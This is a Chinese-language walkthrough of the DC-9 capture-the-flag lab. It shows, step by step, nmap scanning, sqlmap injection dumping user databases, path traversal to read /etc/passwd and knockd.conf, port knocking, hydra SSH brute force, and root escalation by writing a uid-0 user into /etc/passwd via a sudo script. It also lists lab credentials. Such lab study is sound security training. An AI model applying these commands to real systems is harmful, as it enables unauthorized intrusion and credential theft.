信息收集
地址探测
使用arp-scan 对目标主机做地址探测
arp-scan -l -I eth0
目标主机IP地址为172.30,1,134
端口扫描
使用nmap对目标主机做端口扫描
nmap -sS -sV -T4 -p- -O 172.30.1.134
目标主机开放了80端口,但是22端口是过滤。这个22端口应该是关闭的,只是要有一定的条件才可以开启。。
-sS nmap的SYN扫描,又叫秘密扫描,是nmap的默认扫描
-sV 对服务版本做检测
-T4 野蛮的扫描(常用)
-p- 对所有端口进行扫描
-O 对服务器版本做检测
http探测
访问目标主机web
这里是不是看着很像Drupal,典型的障眼法。
找找网站看看有没有交互式的地方。
这里有个用户信息,这个信息肯定有用
还有个搜索表单,这种表单非常容易受到SQL注入的攻击。
还有个登录地址,但是现在还不知道用户名和密码。
我们复制捕获的请求并将其粘贴到一个文本文件中,并将其命名为DC9.txt。我们这样做是为了将捕获的请求与sqlmap一起使用。现在,我们将启动sqlmap来检查搜索表单是否容易受到SQL注入的攻击。
漏洞查找及利用
SQL注入
对保存的文本文件进行SQL注入攻击,爆破数据库
sqlmap -r DC9.txt --dbs
-r 指定Burpsuite保存的地址
获取数据库中的所有记录
sqlmap -r DC9.txt -D Staff --dumap-all
--dump—all //获取数据库的所有记录
这里不知道咋回事,显示了明文密码,可能是破解过的原因吧
看一下这个密码是什么加密方式,这是一个交互式的。
hash-identifier
MD5报文摘要算法加密的
MD5破解
免费破解MD5网站
破解到密码为:transorbital1
登录后台
用户名admin,密码transorbital1
以管理员什么登录
提醒“文件不存在”。这意味着页脚中必须包含一个文件,但该文件现在丢失或放错位置了。我们知道,在有include函数的地方,我们有可能找到一个LFI漏洞
尝试使用传参查看账户文件
172.30.1.134/welcome.php?file=../../../../etc/passwd
发现确实存在文件包含漏洞
端口敲门
这是我们偶然发现的knockd.conf。这意味着涉及到端口敲门。我们可以看到在这里用一个序列配置了openSSH。我们注意到这个序列,并按此序列敲打SSH端口,以启动并运行它。 这个想法非常安全。
172.30.1.134/welcome.php?file=../../../../etc/knockd.conf
需要分别7469,8475,9842这个三个端口。说白了就是审讯这个三个,让22端口来就他们。
nc -z 172.30.1.134 7469 8475 9842
nmap -p22 172.30.1.134
这个直接使用nc -z 敲打一下这个三个端口。
再次扫描发现果然这小子open了。
SSH爆破
首先尝试了admin这个用户进行ssh登录发现登不上。
那这个时候我们想到在进行sql注入攻击的时候,还发现了一个users的数据库
sqlmap -u "http://172.30.1.134/results.php" --level=5 --risk=3 --batch --method=POST --data='search=1'-D 'users' --dump
看到有一大串用户名个密码,我们将用户名分别放到一个文本文件中,
使用hydra进行ssh爆破
hydra -L user.txt -P passwd.txt ssh:172.30.1.134
User:janitor passwd:Ilovepeepee
janitor用户
登录到janitor用户
这里全是隐藏文件和目录所以需要ls-la查看
这里我们看到一个password文件,打开之后看到好多个秘密,我把密码放到我们的passwd文件中。
再进行ssh暴力破解
hydra -L user.txt -P passwd.txt ssh:172.30.1.134
又多了一个用户,login: fredf password: B4-Tru3-001
Fredf用户
登录到fredf用户
sudo -l
这里有个Linux安全的小技巧
我们使用ssh登录的这几个用户都采用了这个方法
.bash_history -> /dev/null 这里的意思就是把历史命令重定向到垃圾桶了。
只要用户一注销历史命令也跟着消失。
提权
脚本提权
发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件
查看脚本的内容
cat test.py
这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限,事先参考/etc/passwd解释
openssl passwd -1 -salt xiaoxiao 123456
echo 'xiaoxiao:MD5(密码):0:0::/root:bin/bash' > /tmp/xiao
sudo /opt/devstuff/dist/test/test /tmp/xiao /etc/passwd
先利用openssl命令创建一个密码,得到hash密码我们切换到tmp目录下,新建一个文件再回到/opt/devstuff/dist/test目录,执行程序test,将xiao的文件内容写入到/etc/passwd文件里面可以看到xiaofeixia用户已经添加到/etc/passwd文件里了,接下来然后使用命令su - xiao切换到我们添加的xiao用户,输入之前设置好密码即可登录
切换到root工作目录,得到flag。
cd /root
ls
cat theflag.txt
总结
1、扫描到22端口被过滤、网站主页很像Drupal,这个两个其实是个障眼法。
2、网站中的搜索表单容易受到SQL注入攻击,碰到这种表单可以试一下SQL注入。
3、通过Sqlmap爆破到密码,要了解加密方式再进行破解。
4、DC9也存在文件包含漏洞,依然是根据网站页脚判断。
5、knockd.conf这个文件是端口敲门的配置文件。要访问三个端口使22端口打开。
6、拿到shell后如果什么文件也没有,那就有可能是隐藏文件。
7、软连接历史命令重定向到垃圾桶,这个历史命令也是信息收集的一项。
8、最重要的还是信息收集,收集用户下的敏感文件,很可能里面就存在密码。
9、生成一个密码用root权限执行脚本写passwd文件,要构造一个拥有root权限的用户。要了解passwd的格式。